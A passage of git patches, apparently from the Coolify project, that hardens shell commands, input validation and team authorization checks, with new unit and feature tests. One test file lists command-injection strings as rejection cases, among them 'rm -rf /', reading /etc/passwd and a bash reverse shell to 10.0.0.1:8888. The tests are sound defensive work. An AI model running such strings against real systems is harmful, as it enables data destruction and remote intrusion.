+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php
index 23b4c65e6..f286e8538 100644
--- a/app/Models/StandaloneKeydb.php
+++ b/app/Models/StandaloneKeydb.php
@@ -135,7 +135,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php
index 4d4b84776..efa62353c 100644
--- a/app/Models/StandaloneMariadb.php
+++ b/app/Models/StandaloneMariadb.php
@@ -136,7 +136,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php
index b5401dd2c..9418ebc21 100644
--- a/app/Models/StandaloneMongodb.php
+++ b/app/Models/StandaloneMongodb.php
@@ -141,7 +141,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php
index 0b144575c..2b7e9f2b6 100644
--- a/app/Models/StandaloneMysql.php
+++ b/app/Models/StandaloneMysql.php
@@ -136,7 +136,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php
index 92b2efd31..cea600236 100644
--- a/app/Models/StandalonePostgresql.php
+++ b/app/Models/StandalonePostgresql.php
@@ -114,7 +114,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php
index 352d27cfd..0e904ab31 100644
--- a/app/Models/StandaloneRedis.php
+++ b/app/Models/StandaloneRedis.php
@@ -140,7 +140,7 @@ public function deleteVolumes()
}
$server = data_get($this, 'destination.server');
foreach ($persistentStorages as $storage) {
- instant_remote_process(["docker volume rm -f $storage->name"], $server, false);
+ instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false);
}
}
diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php
index 27789b506..7084b4cc2 100644
--- a/app/Support/ValidationPatterns.php
+++ b/app/Support/ValidationPatterns.php
@@ -45,6 +45,13 @@ class ValidationPatterns
*/
public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~&"]+$/';
+ /**
+ * Pattern for Docker volume names
+ * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores
+ * Matches Docker's volume naming rules
+ */
+ public const VOLUME_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/';
+
/**
* Pattern for Docker container names
* Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores
@@ -157,6 +164,36 @@ public static function shellSafeCommandRules(int $maxLength = 1000): array
return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::SHELL_SAFE_COMMAND_PATTERN];
}
+ /**
+ * Get validation rules for Docker volume name fields
+ */
+ public static function volumeNameRules(bool $required = true, int $maxLength = 255): array
+ {
+ $rules = [];
+
+ if ($required) {
+ $rules[] = 'required';
+ } else {
+ $rules[] = 'nullable';
+ }
+
+ $rules[] = 'string';
+ $rules[] = "max:$maxLength";
+ $rules[] = 'regex:'.self::VOLUME_NAME_PATTERN;
+
+ return $rules;
+ }
+
+ /**
+ * Get validation messages for volume name fields
+ */
+ public static function volumeNameMessages(string $field = 'name'): array
+ {
+ return [
+ "{$field}.regex" => 'The volume name must start with an alphanumeric character and contain only alphanumeric characters, dots, hyphens, and underscores.',
+ ];
+ }
+
/**
* Get validation rules for container name fields
*/
diff --git a/tests/Unit/PersistentVolumeSecurityTest.php b/tests/Unit/PersistentVolumeSecurityTest.php
new file mode 100644
index 000000000..fdce223d3
--- /dev/null
+++ b/tests/Unit/PersistentVolumeSecurityTest.php
@@ -0,0 +1,98 @@
+toBe(1);
+})->with([
+ 'simple name' => 'myvolume',
+ 'with hyphens' => 'my-volume',
+ 'with underscores' => 'my_volume',
+ 'with dots' => 'my.volume',
+ 'with uuid prefix' => 'abc123-postgres-data',
+ 'numeric start' => '1volume',
+ 'complex name' => 'app123-my_service.data-v2',
+]);
+
+it('rejects volume names with shell metacharacters', function (string $name) {
+ expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(0);
+})->with([
+ 'semicolon injection' => 'vol; rm -rf /',
+ 'pipe injection' => 'vol | cat /etc/passwd',
+ 'ampersand injection' => 'vol && whoami',
+ 'backtick injection' => 'vol`id`',
+ 'dollar command substitution' => 'vol$(whoami)',
+ 'redirect injection' => 'vol > /tmp/evil',
+ 'space in name' => 'my volume',
+ 'slash in name' => 'my/volume',
+ 'newline injection' => "vol\nwhoami",
+ 'starts with hyphen' => '-volume',
+ 'starts with dot' => '.volume',
+]);
+
+// --- escapeshellarg Defense Tests ---
+
+it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) {
+ $command = 'docker volume rm -f '.escapeshellarg($maliciousName);
+
+ // The command should contain the name as a single quoted argument,
+ // preventing shell interpretation of metacharacters
+ expect($command)->not->toContain('; ')
+ ->not->toContain('| ')
+ ->not->toContain('&& ')
+ ->not->toContain('`')
+ ->toStartWith('docker volume rm -f ');
+})->with([
+ 'semicolon' => 'vol; rm -rf /',
+ 'pipe' => 'vol | cat /etc/passwd',
+ 'ampersand' => 'vol && whoami',
+ 'backtick' => 'vol`id`',
+ 'command substitution' => 'vol$(whoami)',
+ 'reverse shell' => 'vol$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)',
+]);
+
+// --- volumeNameRules Tests ---
+
+it('generates volumeNameRules with correct defaults', function () {
+ $rules = ValidationPatterns::volumeNameRules();
+
+ expect($rules)->toContain('required')
+ ->toContain('string')
+ ->toContain('max:255')
+ ->toContain('regex:'.ValidationPatterns::VOLUME_NAME_PATTERN);
+});
+
+it('generates nullable volumeNameRules when not required', function () {
+ $rules = ValidationPatterns::volumeNameRules(required: false);
+
+ expect($rules)->toContain('nullable')
+ ->not->toContain('required');
+});
+
+it('generates correct volumeNameMessages', function () {
+ $messages = ValidationPatterns::volumeNameMessages();
+
+ expect($messages)->toHaveKey('name.regex');
+});
+
+it('generates volumeNameMessages with custom field name', function () {
+ $messages = ValidationPatterns::volumeNameMessages('volume_name');
+
+ expect($messages)->toHaveKey('volume_name.regex');
+});
From f9a9dc80aa85f494aa4fade9efe46d38afe579f1 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 12:17:39 +0100
Subject: [PATCH 052/118] fix(api): add volume name validation to storage API
endpoints
Apply the same Docker volume name pattern validation to the API
create and update storage endpoints for applications, databases,
and services controllers.
Co-Authored-By: Claude Opus 4.6
---
app/Http/Controllers/Api/ApplicationsController.php | 5 +++--
app/Http/Controllers/Api/DatabasesController.php | 5 +++--
app/Http/Controllers/Api/ServicesController.php | 5 +++--
3 files changed, 9 insertions(+), 6 deletions(-)
diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php
index b081069b7..ad1f50ea2 100644
--- a/app/Http/Controllers/Api/ApplicationsController.php
+++ b/app/Http/Controllers/Api/ApplicationsController.php
@@ -20,6 +20,7 @@
use App\Rules\ValidGitBranch;
use App\Rules\ValidGitRepositoryUrl;
use App\Services\DockerImageParser;
+use App\Support\ValidationPatterns;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Http;
@@ -4096,7 +4097,7 @@ public function update_storage(Request $request): JsonResponse
'id' => 'integer',
'type' => 'required|string|in:persistent,file',
'is_preview_suffix_enabled' => 'boolean',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
@@ -4274,7 +4275,7 @@ public function create_storage(Request $request): JsonResponse
$validator = customApiValidator($request->all(), [
'type' => 'required|string|in:persistent,file',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'required|string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php
index f9e171eee..660ed4529 100644
--- a/app/Http/Controllers/Api/DatabasesController.php
+++ b/app/Http/Controllers/Api/DatabasesController.php
@@ -19,6 +19,7 @@
use App\Models\ScheduledDatabaseBackup;
use App\Models\Server;
use App\Models\StandalonePostgresql;
+use App\Support\ValidationPatterns;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
@@ -3467,7 +3468,7 @@ public function create_storage(Request $request): JsonResponse
$validator = customApiValidator($request->all(), [
'type' => 'required|string|in:persistent,file',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'required|string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
@@ -3665,7 +3666,7 @@ public function update_storage(Request $request): JsonResponse
'id' => 'integer',
'type' => 'required|string|in:persistent,file',
'is_preview_suffix_enabled' => 'boolean',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php
index 89635875c..fbf4b9e56 100644
--- a/app/Http/Controllers/Api/ServicesController.php
+++ b/app/Http/Controllers/Api/ServicesController.php
@@ -13,6 +13,7 @@
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
+use App\Support\ValidationPatterns;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Validator;
@@ -2015,7 +2016,7 @@ public function create_storage(Request $request): JsonResponse
$validator = customApiValidator($request->all(), [
'type' => 'required|string|in:persistent,file',
'resource_uuid' => 'required|string',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'required|string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
@@ -2224,7 +2225,7 @@ public function update_storage(Request $request): JsonResponse
'id' => 'integer',
'type' => 'required|string|in:persistent,file',
'is_preview_suffix_enabled' => 'boolean',
- 'name' => 'string',
+ 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN],
'mount_path' => 'string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
From 3e0d48faeaab950bfd063dfca908f1d140316ede Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 13:26:16 +0100
Subject: [PATCH 053/118] refactor: simplify remote process chain and harden
ActivityMonitor
- Inline PrepareCoolifyTask and CoolifyTaskArgs into remote_process(),
removing two single-consumer abstraction layers
- Add #[Locked] attribute to ActivityMonitor $activityId property
- Add team ownership verification in ActivityMonitor.hydrateActivity()
with server_uuid fallback and fail-closed default
- Store team_id in activity properties for proper scoping
- Update CLAUDE.md to remove stale reference
- Add comprehensive tests for activity monitor authorization
Co-Authored-By: Claude Opus 4.6
---
CLAUDE.md | 2 +-
.../CoolifyTask/PrepareCoolifyTask.php | 54 -------------
app/Data/CoolifyTaskArgs.php | 30 -------
app/Livewire/ActivityMonitor.php | 51 +++++++++---
bootstrap/helpers/remoteProcess.php | 64 +++++++++------
.../views/livewire/activity-monitor.blade.php | 4 +-
.../Feature/ActivityMonitorCrossTeamTest.php | 81 +++++++++++++++++--
7 files changed, 155 insertions(+), 131 deletions(-)
delete mode 100644 app/Actions/CoolifyTask/PrepareCoolifyTask.php
delete mode 100644 app/Data/CoolifyTaskArgs.php
diff --git a/CLAUDE.md b/CLAUDE.md
index 99e996756..bb65da405 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -43,7 +43,7 @@ ### Backend Structure (app/)
- **Models/** — Eloquent models extending `BaseModel` which provides auto-CUID2 UUID generation. Key models: `Server`, `Application`, `Service`, `Project`, `Environment`, `Team`, plus standalone database models (`StandalonePostgresql`, `StandaloneMysql`, etc.). Common traits: `HasConfiguration`, `HasMetrics`, `HasSafeStringAttribute`, `ClearsGlobalSearchCache`.
- **Services/** — Business logic services (ConfigurationGenerator, DockerImageParser, ContainerStatusAggregator, HetznerService, etc.). Use Services for complex orchestration; use Actions for single-purpose domain operations.
- **Helpers/** — Global helpers loaded via `bootstrap/includeHelpers.php` from `bootstrap/helpers/` — organized into `shared.php`, `constants.php`, `versions.php`, `subscriptions.php`, `domains.php`, `docker.php`, `services.php`, `github.php`, `proxy.php`, `notifications.php`.
-- **Data/** — Spatie Laravel Data DTOs (e.g., `CoolifyTaskArgs`, `ServerMetadata`).
+- **Data/** — Spatie Laravel Data DTOs (e.g., `ServerMetadata`).
- **Enums/** — PHP enums (TitleCase keys). Key enums: `ProcessStatus`, `Role` (MEMBER/ADMIN/OWNER with rank comparison), `BuildPackTypes`, `ProxyTypes`, `ContainerStatusTypes`.
- **Rules/** — Custom validation rules (`ValidGitRepositoryUrl`, `ValidServerIp`, `ValidHostname`, `DockerImageFormat`, etc.).
diff --git a/app/Actions/CoolifyTask/PrepareCoolifyTask.php b/app/Actions/CoolifyTask/PrepareCoolifyTask.php
deleted file mode 100644
index 3f76a2e3c..000000000
--- a/app/Actions/CoolifyTask/PrepareCoolifyTask.php
+++ /dev/null
@@ -1,54 +0,0 @@
-remoteProcessArgs = $remoteProcessArgs;
-
- if ($remoteProcessArgs->model) {
- $properties = $remoteProcessArgs->toArray();
- unset($properties['model']);
-
- $this->activity = activity()
- ->withProperties($properties)
- ->performedOn($remoteProcessArgs->model)
- ->event($remoteProcessArgs->type)
- ->log('[]');
- } else {
- $this->activity = activity()
- ->withProperties($remoteProcessArgs->toArray())
- ->event($remoteProcessArgs->type)
- ->log('[]');
- }
- }
-
- public function __invoke(): Activity
- {
- $job = new CoolifyTask(
- activity: $this->activity,
- ignore_errors: $this->remoteProcessArgs->ignore_errors,
- call_event_on_finish: $this->remoteProcessArgs->call_event_on_finish,
- call_event_data: $this->remoteProcessArgs->call_event_data,
- );
- dispatch($job);
- $this->activity->refresh();
-
- return $this->activity;
- }
-}
diff --git a/app/Data/CoolifyTaskArgs.php b/app/Data/CoolifyTaskArgs.php
deleted file mode 100644
index 24132157a..000000000
--- a/app/Data/CoolifyTaskArgs.php
+++ /dev/null
@@ -1,30 +0,0 @@
-status = ProcessStatus::QUEUED->value;
- }
- }
-}
diff --git a/app/Livewire/ActivityMonitor.php b/app/Livewire/ActivityMonitor.php
index 85ba60c33..665d14ba0 100644
--- a/app/Livewire/ActivityMonitor.php
+++ b/app/Livewire/ActivityMonitor.php
@@ -2,7 +2,9 @@
namespace App\Livewire;
+use App\Models\Server;
use App\Models\User;
+use Livewire\Attributes\Locked;
use Livewire\Component;
use Spatie\Activitylog\Models\Activity;
@@ -10,6 +12,7 @@ class ActivityMonitor extends Component
{
public ?string $header = null;
+ #[Locked]
public $activityId = null;
public $eventToDispatch = 'activityFinished';
@@ -57,25 +60,47 @@ public function hydrateActivity()
$activity = Activity::find($this->activityId);
- if ($activity) {
- $teamId = data_get($activity, 'properties.team_id');
- if ($teamId && $teamId !== currentTeam()?->id) {
+ if (! $activity) {
+ $this->activity = null;
+
+ return;
+ }
+
+ $currentTeamId = currentTeam()?->id;
+
+ // Check team_id stored directly in activity properties
+ $activityTeamId = data_get($activity, 'properties.team_id');
+ if ($activityTeamId !== null) {
+ if ((int) $activityTeamId !== (int) $currentTeamId) {
$this->activity = null;
return;
}
+
+ $this->activity = $activity;
+
+ return;
+ }
+
+ // Fallback: verify ownership via the server that ran the command
+ $serverUuid = data_get($activity, 'properties.server_uuid');
+ if ($serverUuid) {
+ $server = Server::where('uuid', $serverUuid)->first();
+ if ($server && (int) $server->team_id !== (int) $currentTeamId) {
+ $this->activity = null;
+
+ return;
+ }
+
+ if ($server) {
+ $this->activity = $activity;
+
+ return;
+ }
}
- $this->activity = $activity;
- }
-
- public function updatedActivityId($value)
- {
- if ($value) {
- $this->hydrateActivity();
- $this->isPollingActive = true;
- self::$eventDispatched = false;
- }
+ // Fail closed: no team_id and no server_uuid means we cannot verify ownership
+ $this->activity = null;
}
public function polling()
diff --git a/bootstrap/helpers/remoteProcess.php b/bootstrap/helpers/remoteProcess.php
index f819df380..2544719fc 100644
--- a/bootstrap/helpers/remoteProcess.php
+++ b/bootstrap/helpers/remoteProcess.php
@@ -1,9 +1,10 @@
teams->pluck('id');
if (! $teams->contains($server->team_id) && ! $teams->contains(0)) {
- throw new \Exception('User is not part of the team that owns this server');
+ throw new Exception('User is not part of the team that owns this server');
}
}
SshMultiplexingHelper::ensureMultiplexedConnection($server);
- return resolve(PrepareCoolifyTask::class, [
- 'remoteProcessArgs' => new CoolifyTaskArgs(
- server_uuid: $server->uuid,
- command: $command_string,
- type: $type,
- type_uuid: $type_uuid,
- model: $model,
- ignore_errors: $ignore_errors,
- call_event_on_finish: $callEventOnFinish,
- call_event_data: $callEventData,
- ),
- ])();
+ $properties = [
+ 'server_uuid' => $server->uuid,
+ 'command' => $command_string,
+ 'type' => $type,
+ 'type_uuid' => $type_uuid,
+ 'status' => ProcessStatus::QUEUED->value,
+ 'team_id' => $server->team_id,
+ ];
+
+ $activityLog = activity()
+ ->withProperties($properties)
+ ->event($type);
+
+ if ($model) {
+ $activityLog->performedOn($model);
+ }
+
+ $activity = $activityLog->log('[]');
+
+ dispatch(new CoolifyTask(
+ activity: $activity,
+ ignore_errors: $ignore_errors,
+ call_event_on_finish: $callEventOnFinish,
+ call_event_data: $callEventData,
+ ));
+
+ $activity->refresh();
+
+ return $activity;
}
function instant_scp(string $source, string $dest, Server $server, $throwError = true)
{
- return \App\Helpers\SshRetryHandler::retry(
+ return SshRetryHandler::retry(
function () use ($source, $dest, $server) {
$scp_command = SshMultiplexingHelper::generateScpCommand($server, $source, $dest);
$process = Process::timeout(config('constants.ssh.command_timeout'))->run($scp_command);
@@ -92,7 +110,7 @@ function instant_remote_process_with_timeout(Collection|array $command, Server $
}
$command_string = implode("\n", $command);
- return \App\Helpers\SshRetryHandler::retry(
+ return SshRetryHandler::retry(
function () use ($server, $command_string) {
$sshCommand = SshMultiplexingHelper::generateSshCommand($server, $command_string);
$process = Process::timeout(30)->run($sshCommand);
@@ -128,7 +146,7 @@ function instant_remote_process(Collection|array $command, Server $server, bool
$command_string = implode("\n", $command);
$effectiveTimeout = $timeout ?? config('constants.ssh.command_timeout');
- return \App\Helpers\SshRetryHandler::retry(
+ return SshRetryHandler::retry(
function () use ($server, $command_string, $effectiveTimeout, $disableMultiplexing) {
$sshCommand = SshMultiplexingHelper::generateSshCommand($server, $command_string, $disableMultiplexing);
$process = Process::timeout($effectiveTimeout)->run($sshCommand);
@@ -170,9 +188,9 @@ function excludeCertainErrors(string $errorOutput, ?int $exitCode = null)
if ($ignored) {
// TODO: Create new exception and disable in sentry
- throw new \RuntimeException($errorMessage, $exitCode);
+ throw new RuntimeException($errorMessage, $exitCode);
}
- throw new \RuntimeException($errorMessage, $exitCode);
+ throw new RuntimeException($errorMessage, $exitCode);
}
function decode_remote_command_output(?ApplicationDeploymentQueue $application_deployment_queue = null, bool $includeAll = false): Collection
@@ -194,7 +212,7 @@ function decode_remote_command_output(?ApplicationDeploymentQueue $application_d
associative: true,
flags: JSON_THROW_ON_ERROR
);
- } catch (\JsonException $e) {
+ } catch (JsonException $e) {
// If JSON decoding fails, try to clean up the logs and retry
try {
// Ensure valid UTF-8 encoding
@@ -204,7 +222,7 @@ function decode_remote_command_output(?ApplicationDeploymentQueue $application_d
associative: true,
flags: JSON_THROW_ON_ERROR
);
- } catch (\JsonException $e) {
+ } catch (JsonException $e) {
// If it still fails, return empty collection to prevent crashes
return collect([]);
}
@@ -353,7 +371,7 @@ function checkRequiredCommands(Server $server)
}
try {
instant_remote_process(["docker run --rm --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host bash -c 'apt update && apt install -y {$command}'"], $server);
- } catch (\Throwable) {
+ } catch (Throwable) {
break;
}
$commandFound = instant_remote_process(["docker run --rm --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host bash -c 'command -v {$command}'"], $server, false);
diff --git a/resources/views/livewire/activity-monitor.blade.php b/resources/views/livewire/activity-monitor.blade.php
index 386d8622d..290a91857 100644
--- a/resources/views/livewire/activity-monitor.blade.php
+++ b/resources/views/livewire/activity-monitor.blade.php
@@ -34,10 +34,10 @@
}
}" x-init="// Initial scroll
$nextTick(() => scrollToBottom());
-
+
// Add scroll event listener
$el.addEventListener('scroll', () => handleScroll());
-
+
// Set up mutation observer to watch for content changes
observer = new MutationObserver(() => {
$nextTick(() => scrollToBottom());
diff --git a/tests/Feature/ActivityMonitorCrossTeamTest.php b/tests/Feature/ActivityMonitorCrossTeamTest.php
index 7e4aebc2f..9966ac2dd 100644
--- a/tests/Feature/ActivityMonitorCrossTeamTest.php
+++ b/tests/Feature/ActivityMonitorCrossTeamTest.php
@@ -1,9 +1,11 @@
otherTeam = Team::factory()->create();
});
-test('hydrateActivity blocks access to another teams activity', function () {
+test('hydrateActivity blocks access to another teams activity via team_id', function () {
$otherActivity = Activity::create([
'log_name' => 'default',
'description' => 'test activity',
@@ -27,12 +29,12 @@
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
- $component = Livewire::test(ActivityMonitor::class)
- ->set('activityId', $otherActivity->id)
+ Livewire::test(ActivityMonitor::class)
+ ->call('newMonitorActivity', $otherActivity->id)
->assertSet('activity', null);
});
-test('hydrateActivity allows access to own teams activity', function () {
+test('hydrateActivity allows access to own teams activity via team_id', function () {
$ownActivity = Activity::create([
'log_name' => 'default',
'description' => 'test activity',
@@ -43,13 +45,13 @@
session(['currentTeam' => ['id' => $this->team->id]]);
$component = Livewire::test(ActivityMonitor::class)
- ->set('activityId', $ownActivity->id);
+ ->call('newMonitorActivity', $ownActivity->id);
expect($component->get('activity'))->not->toBeNull();
expect($component->get('activity')->id)->toBe($ownActivity->id);
});
-test('hydrateActivity allows access to activity without team_id in properties', function () {
+test('hydrateActivity blocks access to activity without team_id or server_uuid', function () {
$legacyActivity = Activity::create([
'log_name' => 'default',
'description' => 'legacy activity',
@@ -59,9 +61,72 @@
$this->actingAs($this->user);
session(['currentTeam' => ['id' => $this->team->id]]);
+ Livewire::test(ActivityMonitor::class)
+ ->call('newMonitorActivity', $legacyActivity->id)
+ ->assertSet('activity', null);
+});
+
+test('hydrateActivity blocks access to activity from another teams server via server_uuid', function () {
+ $otherServer = Server::factory()->create([
+ 'team_id' => $this->otherTeam->id,
+ ]);
+
+ $otherActivity = Activity::create([
+ 'log_name' => 'default',
+ 'description' => 'test activity',
+ 'properties' => ['server_uuid' => $otherServer->uuid],
+ ]);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
+ Livewire::test(ActivityMonitor::class)
+ ->call('newMonitorActivity', $otherActivity->id)
+ ->assertSet('activity', null);
+});
+
+test('hydrateActivity allows access to activity from own teams server via server_uuid', function () {
+ $ownServer = Server::factory()->create([
+ 'team_id' => $this->team->id,
+ ]);
+
+ $ownActivity = Activity::create([
+ 'log_name' => 'default',
+ 'description' => 'test activity',
+ 'properties' => ['server_uuid' => $ownServer->uuid],
+ ]);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
$component = Livewire::test(ActivityMonitor::class)
- ->set('activityId', $legacyActivity->id);
+ ->call('newMonitorActivity', $ownActivity->id);
expect($component->get('activity'))->not->toBeNull();
- expect($component->get('activity')->id)->toBe($legacyActivity->id);
+ expect($component->get('activity')->id)->toBe($ownActivity->id);
});
+
+test('hydrateActivity returns null for non-existent activity id', function () {
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
+ Livewire::test(ActivityMonitor::class)
+ ->call('newMonitorActivity', 99999)
+ ->assertSet('activity', null);
+});
+
+test('activityId property is locked and cannot be set from client', function () {
+ $otherActivity = Activity::create([
+ 'log_name' => 'default',
+ 'description' => 'test activity',
+ 'properties' => ['team_id' => $this->otherTeam->id],
+ ]);
+
+ $this->actingAs($this->user);
+ session(['currentTeam' => ['id' => $this->team->id]]);
+
+ // Attempting to set a #[Locked] property from the client should throw
+ Livewire::test(ActivityMonitor::class)
+ ->set('activityId', $otherActivity->id)
+ ->assertStatus(500);
+})->throws(CannotUpdateLockedPropertyException::class);
From 0fce7fa9481aa1bcca06d767075684a11e032c79 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 13:45:33 +0100
Subject: [PATCH 054/118] fix: add URL validation for GitHub source api_url and
html_url fields
Add SafeExternalUrl validation rule that ensures URLs point to
publicly-routable hosts. Apply to all GitHub source entry points
(Livewire Create, Livewire Change, API create and update).
Co-Authored-By: Claude Opus 4.6
---
app/Http/Controllers/Api/GithubController.php | 21 ++---
app/Livewire/Source/Github/Change.php | 40 ++++-----
app/Livewire/Source/Github/Create.php | 5 +-
app/Rules/SafeExternalUrl.php | 81 +++++++++++++++++++
tests/Unit/SafeExternalUrlTest.php | 75 +++++++++++++++++
5 files changed, 193 insertions(+), 29 deletions(-)
create mode 100644 app/Rules/SafeExternalUrl.php
create mode 100644 tests/Unit/SafeExternalUrlTest.php
diff --git a/app/Http/Controllers/Api/GithubController.php b/app/Http/Controllers/Api/GithubController.php
index f6a6b3513..9a2cf2b9f 100644
--- a/app/Http/Controllers/Api/GithubController.php
+++ b/app/Http/Controllers/Api/GithubController.php
@@ -5,6 +5,9 @@
use App\Http\Controllers\Controller;
use App\Models\GithubApp;
use App\Models\PrivateKey;
+use App\Rules\SafeExternalUrl;
+use Illuminate\Database\Eloquent\ModelNotFoundException;
+use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Str;
@@ -181,7 +184,7 @@ public function create_github_app(Request $request)
return invalidTokenResponse();
}
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
@@ -204,8 +207,8 @@ public function create_github_app(Request $request)
$validator = customApiValidator($request->all(), [
'name' => 'required|string|max:255',
'organization' => 'nullable|string|max:255',
- 'api_url' => 'required|string|url',
- 'html_url' => 'required|string|url',
+ 'api_url' => ['required', 'string', 'url', new SafeExternalUrl],
+ 'html_url' => ['required', 'string', 'url', new SafeExternalUrl],
'custom_user' => 'nullable|string|max:255',
'custom_port' => 'nullable|integer|min:1|max:65535',
'app_id' => 'required|integer',
@@ -370,7 +373,7 @@ public function load_repositories($github_app_id)
return response()->json([
'repositories' => $repositories->sortBy('name')->values(),
]);
- } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) {
+ } catch (ModelNotFoundException $e) {
return response()->json(['message' => 'GitHub app not found'], 404);
} catch (\Throwable $e) {
return handleError($e);
@@ -472,7 +475,7 @@ public function load_branches($github_app_id, $owner, $repo)
return response()->json([
'branches' => $branches,
]);
- } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) {
+ } catch (ModelNotFoundException $e) {
return response()->json(['message' => 'GitHub app not found'], 404);
} catch (\Throwable $e) {
return handleError($e);
@@ -587,10 +590,10 @@ public function update_github_app(Request $request, $github_app_id)
$rules['organization'] = 'nullable|string';
}
if (isset($payload['api_url'])) {
- $rules['api_url'] = 'url';
+ $rules['api_url'] = ['url', new SafeExternalUrl];
}
if (isset($payload['html_url'])) {
- $rules['html_url'] = 'url';
+ $rules['html_url'] = ['url', new SafeExternalUrl];
}
if (isset($payload['custom_user'])) {
$rules['custom_user'] = 'string';
@@ -651,7 +654,7 @@ public function update_github_app(Request $request, $github_app_id)
'message' => 'GitHub app updated successfully',
'data' => $githubApp,
]);
- } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) {
+ } catch (ModelNotFoundException $e) {
return response()->json([
'message' => 'GitHub app not found',
], 404);
@@ -736,7 +739,7 @@ public function delete_github_app($github_app_id)
return response()->json([
'message' => 'GitHub app deleted successfully',
]);
- } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) {
+ } catch (ModelNotFoundException $e) {
return response()->json([
'message' => 'GitHub app not found',
], 404);
diff --git a/app/Livewire/Source/Github/Change.php b/app/Livewire/Source/Github/Change.php
index 17323fdec..d6537069c 100644
--- a/app/Livewire/Source/Github/Change.php
+++ b/app/Livewire/Source/Github/Change.php
@@ -5,6 +5,7 @@
